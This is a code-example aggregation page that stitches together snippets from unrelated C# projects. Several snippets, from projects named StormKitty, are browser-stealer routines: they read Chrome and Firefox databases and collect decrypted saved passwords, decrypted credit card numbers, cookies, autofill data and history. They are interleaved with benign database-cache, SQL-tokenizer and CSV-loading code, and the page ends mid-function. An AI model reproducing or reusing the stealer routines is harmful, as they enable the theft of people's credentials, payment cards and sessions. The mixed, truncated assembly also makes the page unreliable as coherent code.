コード例 #1
0
        public static List <AutoFill> Get(string sWebData)
        {
            List <AutoFill> acAutoFillData = new List <AutoFill>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sWebData, "autofill");
                if (sSQLite == null)
                {
                    return(acAutoFillData);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    AutoFill aFill = new AutoFill();

                    aFill.sName  = Crypto.GetUTF8(sSQLite.GetValue(i, 0));
                    aFill.sValue = Crypto.GetUTF8(sSQLite.GetValue(i, 1));

                    Counting.AutoFill++;
                    acAutoFillData.Add(aFill);
                }
            }
            catch  { }
            return(acAutoFillData);
        }
コード例 #2
0
ファイル: Downloads.cs プロジェクト: bletblab/StormKitty
        /// <summary>
        /// Get Downloads from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with downloads</returns>
        public static List <Site> Get(string sHistory)
        {
            List <Site> scDownloads = new List <Site>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "downloads");
                if (sSQLite == null)
                {
                    return(scDownloads);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 17));

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.Downloads++;
                    scDownloads.Add(sSite);
                }
            }
            catch (System.Exception ex) { StormKitty.Logging.Log("Chromium >> Failed collect downloads\n" + ex); }
            return(scDownloads);
        }
コード例 #3
0
ファイル: History.cs プロジェクト: terrobite/StormKitty
        /// <summary>
        /// Get History from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with history</returns>
        public static List <Site> Get(string sHistory)
        {
            try
            {
                List <Site> scHistory = new List <Site>();

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "urls");
                if (sSQLite == null)
                {
                    return(scHistory);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.iCount = System.Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1;

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.History++;
                    scHistory.Add(sSite);
                }

                return(scHistory);
            }
            catch { return(new List <Site>()); }
        }
コード例 #4
0
ファイル: CreditCards.cs プロジェクト: MLX15/StormKitty
        /// <summary>
        /// Get CreditCards from chromium based browsers
        /// </summary>
        /// <param name="sWebData"></param>
        /// <returns>List with credit cards</returns>
        public static List <CreditCard> Get(string sWebData)
        {
            List <CreditCard> lcCC = new List <CreditCard>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sWebData, "credit_cards");
                if (sSQLite == null)
                {
                    return(lcCC);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    CreditCard cCard = new CreditCard();

                    cCard.sNumber   = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 4)));
                    cCard.sExpYear  = Crypto.GetUTF8(sSQLite.GetValue(i, 3));
                    cCard.sExpMonth = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    cCard.sName     = Crypto.GetUTF8(sSQLite.GetValue(i, 1));

                    Counter.CreditCards++;
                    lcCC.Add(cCard);
                }
            }
            catch (System.Exception ex) { StormKitty.Logging.Log("Chromium >> Failed collect credit cards\n" + ex); }
            return(lcCC);
        }
コード例 #5
0
ファイル: History.cs プロジェクト: bletblab/StormKitty
        // Get cookies from gecko browser
        public static List <Site> Get(string path)
        {
            List <Site> scHistory = new List <Site>();

            try
            {
                string sHistoryPath = GetHistoryDBPath(path);

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistoryPath, "moz_places");
                if (sSQLite == null)
                {
                    return(scHistory);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.sUrl   = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1));
                    sSite.iCount = Convert.ToInt32(sSQLite.GetValue(i, 4)) + 1;

                    if (sSite.sTitle != "0")
                    {
                        // Analyze value
                        Banking.ScanData(sSite.sUrl);
                        Counter.History++;
                        scHistory.Add(sSite);
                    }
                }
            }
            catch (Exception ex) { StormKitty.Logging.Log("Firefox >> history collection failed\n" + ex); }
            return(scHistory);
        }
コード例 #6
0
        protected override Tuple <long, MaestroUnit> GetItem(SqlReader reader)
        {
            MaestroUnit t = new MaestroUnit();

            t.Id = reader.GetInt64("ID");
            long id = reader.GetInt64("UNIT_TYPE_ID");

            try
            {
                t.UnitType = UnitTypeCache.Instance[id];
            }
            catch (Exception ex)
            {
                throw new Exception(string.Format("Invalid unit type id {0}", id), ex);
            }
            t.Name           = reader.GetString("UNIT_NAME");
            t.QuickBooksUnit = reader.GetString("QB_UNIT");
            t.CreateDate     = reader.GetDateTime("CREATE_DATE");
            t.RecordStatus   = reader.GetString("RECORD_STATUS");
            t.UpdateDate     = reader.GetDateTime("UPDATE_DATE");
            t.UpdatedUser    = reader.GetString("UPDATE_USER");
            t.CreatedUser    = reader.GetString("CREATE_USER");

            return(new Tuple <long, MaestroUnit>(t.Id, t));
        }
コード例 #7
0
        public static List <Password> Get(string sLoginData)
        {
            List <Password> pPasswords = new List <Password>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sLoginData, "logins");
                if (sSQLite == null)
                {
                    return(pPasswords);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Password pPassword = new Password();

                    pPassword.sUrl      = Crypto.GetUTF8(sSQLite.GetValue(i, 0));
                    pPassword.sUsername = Crypto.GetUTF8(sSQLite.GetValue(i, 3));
                    string sPassword = sSQLite.GetValue(i, 5);

                    if (sPassword != null)
                    {
                        pPassword.sPassword = Crypto.GetUTF8(Crypto.EasyDecrypt(sLoginData, sPassword));
                        pPasswords.Add(pPassword);

                        Counting.Passwords++;
                    }
                    continue;
                }
            }
            catch { }
            return(pPasswords);
        }
コード例 #8
0
        // Get cookies from gecko browser
        public static List <Cookie> Get(string path)
        {
            List <Cookie> lcCookies = new List <Cookie>();

            try
            {
                string sCookiePath = GetCookiesDBPath(path);

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sCookiePath, "moz_cookies");
                if (sSQLite == null)
                {
                    return(lcCookies);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Cookie cCookie = new Cookie();
                    cCookie.sHostKey    = sSQLite.GetValue(i, 4);
                    cCookie.sName       = sSQLite.GetValue(i, 2);
                    cCookie.sValue      = sSQLite.GetValue(i, 3);
                    cCookie.sPath       = sSQLite.GetValue(i, 5);
                    cCookie.sExpiresUtc = sSQLite.GetValue(i, 6);

                    // Analyze value
                    Banking.ScanData(cCookie.sHostKey);
                    Counter.Cookies++;
                    lcCookies.Add(cCookie);
                }

                return(lcCookies);
            }
            catch (Exception ex) { Console.WriteLine(ex); }
            return(new List <Cookie>());
        }
コード例 #9
0
ファイル: Bookmarks.cs プロジェクト: MLX15/StormKitty
        // Get bookmarks from gecko browser
        public static List <Bookmark> Get(string path)
        {
            List <Bookmark> scBookmark = new List <Bookmark>();

            try
            {
                string sCookiePath = GetBookmarksDBPath(path);
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sCookiePath, "moz_bookmarks");
                if (sSQLite == null)
                {
                    return(scBookmark);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Bookmark bBookmark = new Bookmark();
                    bBookmark.sTitle = Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 5));

                    if (Chromium.Crypto.GetUTF8(sSQLite.GetValue(i, 1)).Equals("0") && bBookmark.sTitle != "0")
                    {
                        // Analyze value
                        Banking.ScanData(bBookmark.sTitle);
                        Counter.Bookmarks++;
                        scBookmark.Add(bBookmark);
                    }
                }
            }
            catch (Exception ex) { StormKitty.Logging.Log("Firefox >> bookmarks collection failed\n" + ex); }
            return(scBookmark);
        }
コード例 #10
0
ファイル: CreditCards.cs プロジェクト: terrobite/StormKitty
        /// <summary>
        /// Get CreditCards from chromium based browsers
        /// </summary>
        /// <param name="sWebData"></param>
        /// <returns>List with credit cards</returns>
        public static List <CreditCard> Get(string sWebData)
        {
            try
            {
                List <CreditCard> lcCC = new List <CreditCard>();

                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sWebData, "credit_cards");
                if (sSQLite == null)
                {
                    return(lcCC);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    CreditCard cCard = new CreditCard();

                    cCard.sNumber   = Crypto.GetUTF8(Crypto.EasyDecrypt(sWebData, sSQLite.GetValue(i, 4)));
                    cCard.sExpYear  = Crypto.GetUTF8(sSQLite.GetValue(i, 3));
                    cCard.sExpMonth = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    cCard.sName     = Crypto.GetUTF8(sSQLite.GetValue(i, 1));

                    Counter.CreditCards++;
                    lcCC.Add(cCard);
                }

                return(lcCC);
            }
            catch { return(new List <CreditCard>()); }
        }
コード例 #11
0
        public static List <Site> Get(string sHistory)
        {
            List <Site> scDownloads = new List <Site>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "downloads");
                if (sSQLite == null)
                {
                    return(scDownloads);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 17));
                    Counting.Downloads++;
                    scDownloads.Add(sSite);
                }
            }
            catch {  }
            return(scDownloads);
        }
コード例 #12
0
        protected override Tuple <long, MaestroCustomer> GetItem(SqlReader reader)
        {
            MaestroCustomer t = new MaestroCustomer();

            t.Id                 = reader.GetInt64("ID");
            t.CreateDate         = reader.GetDateTime("CREATE_DATE");
            t.RecordStatus       = reader.GetString("RECORD_STATUS");
            t.Address            = reader.GetString("CUSTOMER_ADDRESS");
            t.DefaultPaymentType = reader.GetString("DEFAULT_PAYMENT_TYPE");
            t.Email              = reader.GetString("CUSTOMER_EMAIL");
            t.Name               = reader.GetString("CUSTOMER_NAME");
            t.Phone              = reader.GetString("CUSTOMER_PHONE");
            t.QuickBooksId       = reader.GetString("QB_CUSTOMER_ID");
            t.QuickBoosCompany   = reader.GetString("QB_COMPANY");
            long regionId = reader.GetInt64("REGION_ID");

            t.InvoiceGroup = reader.GetString("INVOICE_GROUP");
            try
            {
                t.Region = RegionCache.Instance[regionId];
            }
            catch (Exception ex)
            {
                throw new Exception(string.Format("Invalid region id {0}", regionId), ex);
            }

            t.AddressList   = AddressCache.Instance.GetByCustomerId(t.Id);
            t.ReportGroup   = reader.GetString("REPORT_GROUP");
            t.Title         = reader.GetString("CUSTOMER_TITLE");
            t.UpdateDate    = reader.GetDateTime("UPDATE_DATE");
            t.UpdatedUser   = reader.GetString("UPDATE_USER");
            t.CreatedUser   = reader.GetString("CREATE_USER");
            t.CustomerGroup = reader.GetString("CUSTOMER_GROUP");
            return(new Tuple <long, MaestroCustomer>(t.Id, t));
        }
コード例 #13
0
ファイル: TokenizerTests.cs プロジェクト: AmpScm/AmpParser
        public void TestQueryWithJoin()
        {
            string expected;

            using (StringReader sr = new StringReader(expected = @"
                    SELECT * From MyTable m
                    LEFT JOIN OtherTable o on m.OtherId = o.Id
                    WHERE q=r and s=1
                    ORDER BY Something"))
                using (SqlReader rdr = new SqlReader(sr, new SqlSource("<memory>")))
                    using (SqlTokenizer tk = new SqlTokenizer(rdr))
                    {
                        tk.Dialect = SqlDialect.Oracle;

                        var tokens = tk.ToArray();

                        var kinds = tokens.Select(x => x.Kind).ToArray();

                        Assert.AreEqual(28, kinds.Length);

                        ParseAssert.AreEqual(new SqlKind[] {
                            K.SelectToken, K.AsteriksOperatorToken, K.FromToken, K.IdentifierToken, K.IdentifierToken,
                            K.LeftToken, K.JoinToken, K.IdentifierToken, K.IdentifierToken, K.OnToken, K.IdentifierToken, K.DotToken, K.IdentifierToken, K.EqualOperatorToken, K.IdentifierToken, K.DotToken, K.IdentifierToken,
                            K.WhereToken, K.IdentifierToken, K.EqualOperatorToken, K.IdentifierToken, K.AndToken, K.IdentifierToken, K.EqualOperatorToken, K.NumericValueToken,
                            K.OrderToken, K.ByToken, K.IdentifierToken
                        },
                                             kinds);

                        Assert.AreEqual(expected.Replace("\r", ""), string.Join("", tokens.Select(x => x.ToFullString())));
                    }
        }
コード例 #14
0
        protected override Tuple <long, CustomerAddress> GetItem(SqlReader reader)
        {
            CustomerAddress t = new CustomerAddress();

            t.Id          = reader.GetInt64("ID");
            t.AddressCode = reader.GetString("ADDRESS_CODE");
            t.AddressType = reader.GetString("ADDRES_TYPE");
            t.City        = reader.GetString("CITY");
            t.CustomerId  = reader.GetInt64("CUSTOMER_ID");
            t.Line1       = reader.GetString("LINE1");
            t.Line2       = reader.GetString("LINE2");
            t.Line3       = reader.GetString("LINE3");
            t.Line4       = reader.GetString("LINE4");
            t.Line5       = reader.GetString("LINE5");
            t.PostalCode  = reader.GetString("POSTAL_CODE");
            t.Province    = reader.GetString("PROVINCE");
            t.QbListID    = reader.GetString("QB_LIST_ID");
            t.QbName      = reader.GetString("QB_NAME");

            t.CreateDate   = reader.GetDateTime("CREATE_DATE");
            t.RecordStatus = reader.GetString("RECORD_STATUS");
            t.UpdateDate   = reader.GetDateTime("UPDATE_DATE");
            t.UpdatedUser  = reader.GetString("UPDATE_USER");
            t.CreatedUser  = reader.GetString("CREATE_USER");
            return(new Tuple <long, CustomerAddress>(t.Id, t));
        }
コード例 #15
0
        /// <summary>
        /// Get Autofill values from chromium based browsers
        /// </summary>
        /// <param name="sWebData"></param>
        /// <returns>List with autofill</returns>
        public static List <AutoFill> Get(string sWebData)
        {
            List <AutoFill> acAutoFillData = new List <AutoFill>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sWebData, "autofill");
                if (sSQLite == null)
                {
                    return(acAutoFillData);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    AutoFill aFill = new AutoFill();

                    aFill.sName  = Crypto.GetUTF8(sSQLite.GetValue(i, 0));
                    aFill.sValue = Crypto.GetUTF8(sSQLite.GetValue(i, 1));

                    Counter.AutoFill++;
                    acAutoFillData.Add(aFill);
                }
            }
            catch (System.Exception ex) { StormKitty.Logging.Log("Chromium >> Failed collect autofill data\n" + ex); }
            return(acAutoFillData);
        }
コード例 #16
0
        public override void LoadEntity(ContainerBuilder builder, Process process, Entity entity)
        {
            if (entity.Delete)
            {
                builder.Register <IEntityDeleteHandler>(ctx => {
                    var context = new PipelineContext(ctx.Resolve <IPipelineLogger>(), process, entity);

                    var inputConnection = process.Connections.First(c => c.Name == entity.Connection);

                    IRead input = new NullReader(context);
                    switch (inputConnection.Provider)
                    {
                    case "sqlserver":
                        input = new SqlReader(context, entity.GetPrimaryKey(), ReadFrom.Input);
                        break;
                    }

                    IRead output         = new NullReader(context);
                    IDelete deleter      = new NullDeleter(context);
                    var outputConnection = process.Connections.First(c => c.Name == "output");
                    switch (outputConnection.Provider)
                    {
                    case "sqlserver":
                        output  = new SqlReader(context, entity.GetPrimaryKey(), ReadFrom.Output);
                        deleter = new SqlDeleter(new OutputContext(context, new Incrementer(context)));
                        break;
                    }

                    return(new ParallelDeleteHandler(new DefaultDeleteHandler(entity, input, output, deleter)));
                }).Named <IEntityDeleteHandler>(entity.Key);
            }
        }
コード例 #17
0
ファイル: TokenizerTests.cs プロジェクト: AmpScm/AmpParser
        public void TestEof5A()
        {
            string expected;

            using (StringReader sr = new StringReader(expected = @"
                    /*
                    */ SELECT 1 /* QQQQ
                    */" + "\r\n "))
                using (SqlReader rdr = new SqlReader(sr, new SqlSource("<memory>")))
                    using (SqlTokenizer tk = new SqlTokenizer(rdr))
                    {
                        tk.Dialect = SqlDialect.Oracle;

                        var tokens = tk.ToArray();

                        var kinds = tokens.Select(x => x.Kind).ToArray();

                        ParseAssert.AreEqual(new SqlKind[] {
                            K.SelectToken, K.NumericValueToken, K.EndOfStream
                        },
                                             kinds);

                        Assert.AreEqual(expected.Replace("\r", ""), string.Join("", tokens.Select(x => x.ToFullString())));
                    }
        }
コード例 #18
0
        protected override Tuple <long, MaestroProduct> GetItem(SqlReader reader)
        {
            MaestroProduct product = new MaestroProduct();

            product.Id = reader.GetInt64("ID");

            product.Description          = reader.GetString("PRODUCT_DESCRIPTION");
            product.MinimumOrderQuantity = reader.GetInt32("MINIMUM_ORDER_QUANTITY");
            product.Name  = reader.GetString("PRODUCT_NAME");
            product.Price = reader.GetDecimal("PRICE");
            product.QuickBooksProductId = reader.GetString("QB_PRODUCT_ID");
            product.UnitType            = UnitTypeCache.Instance[reader.GetInt64("UNIT_TYPE_ID")];

            /*product.QbProductMaps = QuickBooksProductMapCache.Instance.GetByProductId(product.Id);
             * product.QbProductMaps.ForEach(q => q.Product = product);*/
            product.CostBase     = reader.GetDecimal("COST_BASE");
            product.ProductGroup = ProductGroupCache.Instance[reader.GetInt64("PRODUCT_GROUP_ID")];
            product.CreateDate   = reader.GetDateTime("CREATE_DATE");
            product.RecordStatus = reader.GetString("RECORD_STATUS");
            product.UpdateDate   = reader.GetDateTime("UPDATE_DATE");
            product.UpdatedUser  = reader.GetString("UPDATE_USER");
            product.CreatedUser  = reader.GetString("CREATE_USER");

            return(new Tuple <long, MaestroProduct>(product.Id, product));
        }
コード例 #19
0
        public void Read()
        {
            IParameterFactory   parameterFactory   = new SqliteParameterFactory();
            IDataAdapterFactory dataAdapterFactory = new SqliteDataAdapterFactory();
            IConnectionFactory  connectionFactory  = new SqliteConnectionFactory();

            using (var connection = connectionFactory.Open(_connectionString))
                using (var command = new Command(connection, parameterFactory))
                    using (var reader = new SqlReader(connection, parameterFactory, dataAdapterFactory))
                    {
                        command.Execute("drop table if exists ReadTest");
                        command.Execute("create table if not exists ReadTest(TestColumn text)");
                        //command.Execute("insert into ReadTest values(null)");
                        command.Execute("insert into ReadTest values('one')");
                        command.Execute("insert into ReadTest values('two')");

                        var dataSet = reader.Read("select * from ReadTest");
                        //reader.Prepare("select * from ReadTest");
                        //using (var dataReader = reader.ExecuteReader(null))
                        //{
                        //    while (dataReader.Read())
                        //    {
                        //        for (var i = 0; i < dataReader.FieldCount; ++i)
                        //        {
                        //            var isnull = dataReader.IsDBNull(i);
                        //            var o = dataReader.GetValue(i);
                        //        }
                        //    }
                        //}
                        Assert.IsNotNull(dataSet);
                        Assert.AreEqual(1, dataSet.Tables.Count);
                        Assert.IsTrue(dataSet.Tables[0].Rows.Count > 0);
                    }
        }
コード例 #20
0
        /// <summary>
        /// Get History from chromium based browsers
        /// </summary>
        /// <param name="sHistory"></param>
        /// <returns>List with history</returns>
        public static List <Site> Get(string sHistory)
        {
            List <Site> scHistory = new List <Site>();

            try
            {
                // Read data from table
                SQLite sSQLite = SqlReader.ReadTable(sHistory, "urls");
                if (sSQLite == null)
                {
                    return(scHistory);
                }

                for (int i = 0; i < sSQLite.GetRowCount(); i++)
                {
                    Site sSite = new Site();
                    sSite.sTitle = Crypto.GetUTF8(sSQLite.GetValue(i, 1));
                    sSite.sUrl   = Crypto.GetUTF8(sSQLite.GetValue(i, 2));
                    sSite.iCount = System.Convert.ToInt32(sSQLite.GetValue(i, 3)) + 1;

                    // Analyze value
                    Banking.ScanData(sSite.sUrl);
                    Counter.History++;
                    scHistory.Add(sSite);
                }
            }
            catch (System.Exception ex) { StormKitty.Logging.Log("Chromium >> Failed collect history\n" + ex); }
            return(scHistory);
        }
コード例 #21
0
ファイル: CtSql.cs プロジェクト: rlittletht/CtLists
        static string s_sSqlBinnedWinesWhere = " WHERE Bin<>''"; // And DatePart(year, IsNull(Consumed, '1900-01-01 00:00:00.000')) = 1900";

        void SetValueFromSqlString(Bottle bottle, SqlReader sqlr, int i, string sKey)
        {
            if (!sqlr.Reader.IsDBNull(i))
            {
                bottle.SetValue(sKey, sqlr.Reader.GetString(i));
            }
        }
コード例 #22
0
ファイル: Dashboard.cs プロジェクト: nhtera/Home
        public void DeletePhoto(int websiteId, string filename)
        {
            SqlReader reader = new SqlReader();
            if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
            {
                //get photo info first
                reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetPhoto @websiteId=" + websiteId + ", @filename='" + filename + "'"));
                string folder = "";
                if(reader.Rows.Count > 0)
                {
                    reader.Read();
                    folder = reader.Get("foldername");
                    if (folder != "") { folder += "/"; }
                    string path = "/wwwroot/content/websites/" + R.Page.websiteId + "/photos/" + folder;
                    folder = folder.Replace("/", "");

                    //delete physical file on disk
                    if (File.Exists(R.Server.MapPath(path + filename)) == true) { File.Delete(R.Server.MapPath(path + filename)); }
                    if (File.Exists(R.Server.MapPath(path + "xl" + filename)) == true) { File.Delete(R.Server.MapPath(path + "xl" + filename)); }
                    if (File.Exists(R.Server.MapPath(path + "lg" + filename)) == true) { File.Delete(R.Server.MapPath(path + "lg" + filename)); }
                    if (File.Exists(R.Server.MapPath(path + "med" + filename)) == true) { File.Delete(R.Server.MapPath(path + "med" + filename)); }
                    if (File.Exists(R.Server.MapPath(path + "sm" + filename)) == true) { File.Delete(R.Server.MapPath(path + "sm" + filename)); }
                    if (File.Exists(R.Server.MapPath(path + "tiny" + filename)) == true) { File.Delete(R.Server.MapPath(path + "tiny" + filename)); }
                    if (File.Exists(R.Server.MapPath(path + "icon" + filename)) == true) { File.Delete(R.Server.MapPath(path + "icon" + filename)); }

                    //remove record from database
                    R.Sql.ExecuteNonQuery("EXEC DeletePhoto @websiteId=" + websiteId + ", @filename='" + filename + "'");
                }

            }
        }
コード例 #23
0
        public SqlReader <T, TProperty> Property <TProperty>(TProperty property, string propertyName)
        {
            var reader = new SqlReader <T, TProperty>(base.dataReader, propertyName);

            sqlReaderModel.Add(propertyName, reader);
            return(reader);
        }
コード例 #24
0
ファイル: shared.cs プロジェクト: rlittletht/UpcInv
        /*----------------------------------------------------------------------------
        *       %%Function: ReaderLastScanDateDelegate
        *       %%Qualified: UpcSvc.UpcSvc.ReaderLastScanDateDelegate
        *       %%Contact: rlittle
        *
        *  ----------------------------------------------------------------------------*/
        public static void ReaderLastScanDateDelegate(SqlReader sqlr, CorrelationID crid, ref USR_String usrs)
        {
            DateTime dttm = sqlr.Reader.GetDateTime(1);

            usrs          = USR_String.FromTCSR(USR.SuccessCorrelate(crid));
            usrs.TheValue = dttm.ToString();
        }
コード例 #25
0
ファイル: SqlReaderTest.cs プロジェクト: cbarsony/routeline
 public void substituteQuery()
 {
     Assert.AreEqual("egy kettő és három", SqlReader.substituteQuery("egy $var2 és $var3", "var2=kettő;var3=három"));
     Assert.AreEqual("egy kettő és három", SqlReader.substituteQuery("egy $var2 és $var3 ", "var2=kettő;var3=három"));
     Assert.AreEqual("egy kettő és három és", SqlReader.substituteQuery("egy $var2 és $var3 és", "var2=kettő;var3=három"));
     Assert.AreEqual("egy kettő és három és", SqlReader.substituteQuery("egy $var2 és $var3 és ", "var2=kettő;var3=három"));
     Assert.AreEqual("egy kettő és három és", SqlReader.substituteQuery("egy kettő és három és", "var2=kettő;var3=három"));
 }
コード例 #26
0
 protected virtual Tuple <TKey, TValue> GetItem(SqlReader reader)
 {
     if (getItemFunc == null)
     {
         throw new ArgumentNullException("Override GetItem or pass GetItemFunc");
     }
     return(getItemFunc(reader));
 }
コード例 #27
0
        public SqlReader <T, TProperty> Property <TProperty>(Expression <Func <T, TProperty> > expression)
        {
            var name   = TypeExtension.GetPropertyName(expression);
            var reader = new SqlReader <T, TProperty>(base.dataReader, name);

            sqlReaderModel.Add(name, reader);
            return(reader);
        }
コード例 #28
0
ファイル: Editor.cs プロジェクト: nhtera/Home
 public SqlReader GetComponentsList(int category, int start, int length)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetComponents @start=" +start + ", @length=" + length + ", @category=" + category));
     }
     return reader;
 }
コード例 #29
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader GetPageInfoFromDomain(string domain)
 {
     SqlReader reader = new SqlReader();
     if(R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetPageInfoFromDomain @domain='" + domain + "'"));
     }
     return reader;
 }
コード例 #30
0
ファイル: Page.cs プロジェクト: nhtera/Home
 public SqlReader AuthLogin(string auth)
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC authenticatelogin @loginid='" + auth + "'"));
     }
     return reader;
 }
コード例 #31
0
 /// <summary>
 /// Creates a new SQL Dataset
 /// </summary>
 /// <param name="manager">Manager for a dotNetRDF format SQL Store</param>
 public SqlDataset(IDotNetRDFStoreManager manager)
 {
     this._manager = manager;
     if (manager is IThreadedSqlIOManager)
     {
         ((IThreadedSqlIOManager)this._manager).DisableTransactions = true;
     }
     this._reader = new SqlReader(this._manager);
 }
コード例 #32
0
                /* L O A D  R W P T  F R O M  C S V */

                /*----------------------------------------------------------------------------
                *       %%Function: LoadRwptFromCsv
                *       %%Qualified: RwpSvc.Practice:RwpSlots:CsvSlots.LoadRwptFromCsv
                *       %%Contact: rlittle
                *
                *  ----------------------------------------------------------------------------*/
                public RSR LoadRwpsFromCsv(string sLine, Sql sql, out RwpSlot rwps, out bool fAdd, out List <string> plsDiff)
                {
                    string [] rgs = LineToArray(sLine);
                    SqlWhere  sw  = new SqlWhere();

                    fAdd    = true;
                    plsDiff = new List <string>();
                    rwps    = null;

                    if (rgs[0] == "")
                    {
                        return(RSR.Success());
                    }

                    rwps = new RwpSlot();

                    sw.AddAliases(RwpSlot.s_mpAliases);
                    try
                    {
                        rwps.Slot = GetIntVal(rgs, "SLOTNO");

                        sw.Add(String.Format("$$rwllpractice$$.SlotNo = {0}", rwps.Slot), SqlWhere.Op.And);
                        SqlReader sqlr = new SqlReader(sql);
                        if (sqlr.FExecuteQuery(sw.GetWhere(RwpSlot.s_sSqlQueryString), _sResourceConnString) &&
                            sqlr.Reader.Read())
                        {
                            sqlr.Close();
                            // found a match.  for now, this is an error
                            throw new Exception(String.Format("slot {0} already exists", rwps.Slot));
                        }
                        sqlr.Close();

                        rwps.Slot         = GetIntVal(rgs, "SLOTNO");
                        rwps.Week         = GetDoubleVal(rgs, "WEEK");
                        rwps.Status       = GetStringVal(rgs, "STATUS");
                        rwps.Venue        = GetStringVal(rgs, "VENUE");
                        rwps.Field        = GetStringVal(rgs, "FIELD");
                        rwps.SlotDate     = GetDateVal(rgs, "DATE");
                        rwps.Weekday      = GetStringVal(rgs, "WEEKDAY");
                        rwps.StartTime    = GetStringVal(rgs, "STARTTIME");
                        rwps.EndTime      = GetStringVal(rgs, "ENDTIME");
                        rwps.Hours        = GetStringVal(rgs, "HOURS");
                        rwps.Reserved     = GetStringVal(rgs, "RESERVED");
                        rwps.Divisions    = GetStringVal(rgs, "DIVISIONS");
                        rwps.ReservedDate = GetDateValNullable(rgs, "RESERVEDATETIME");
                        rwps.Type         = GetStringVal(rgs, "TYPE");
                        rwps.Released     = GetDateValNullable(rgs, "RELEASEDATETIME");
                        rwps.ReleaseTeam  = GetStringValNullable(rgs, "RELEASETEAM");
                    }
                    catch (Exception e)
                    {
                        return(RSR.Failed(e));
                    }

                    return(RSR.Success());
                }
コード例 #33
0
        public void Run()
        {
            DataObject.ReadStockDataFromSqlOutput = SqlReader
                                                    .ReadStockDataFromDataBase()
                                                    .ParseStockDataTableToSortedDictionary();

            DataObject.ReadInterestRateDataFromSqlOutput = SqlReader
                                                           .ReadInterestRateDataFromDataBase()
                                                           .ParseInterestRateDataTableToSortedDictionary();
        }
コード例 #34
0
ファイル: Editor.cs プロジェクト: nhtera/Home
 public SqlReader GetComponentCategories()
 {
     SqlReader reader = new SqlReader();
     if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
     {
         reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetComponentCategories @ownerId=" + R.Page.ownerId + ", @websiteId=" + R.Page.websiteId));
     }
     return reader;
     //
 }
コード例 #35
0
        public SqlReader GetPageInfoFromSubDomainAndTitle(string domain, string subDomain, string title)
        {
            SqlReader reader = new SqlReader();

            if (R.Sql.dataType == enumSqlDataTypes.SqlClient)
            {
                reader.ReadFromSqlClient(R.Sql.ExecuteReader("EXEC GetPageInfoFromSubDomainAndTitle @domain='" + domain + "', @subdomain='" + subDomain + "', @title='" + title + "'"));
            }
            return(reader);
        }
コード例 #36
0
ファイル: teams.cs プロジェクト: rlittletht/RWLLPracticeTool
                /* L O A D  R W P T  F R O M  C S V */
                /*----------------------------------------------------------------------------
                    %%Function: LoadRwptFromCsv
                    %%Qualified: RwpSvc.Practice:Teams:CsvTeams.LoadRwptFromCsv
                    %%Contact: rlittle

                ----------------------------------------------------------------------------*/
                public RSR LoadRwptFromCsv(string sLine, TCore.Sql sql, out RwpTeam rwpt, out bool fAdd, out List<string> plsDiff)
                {
                    string []rgs = LineToArray(sLine);
                    SqlWhere sw = new SqlWhere();
                    fAdd = true;
                    rwpt = new RwpTeam();
                    plsDiff = new List<string>();

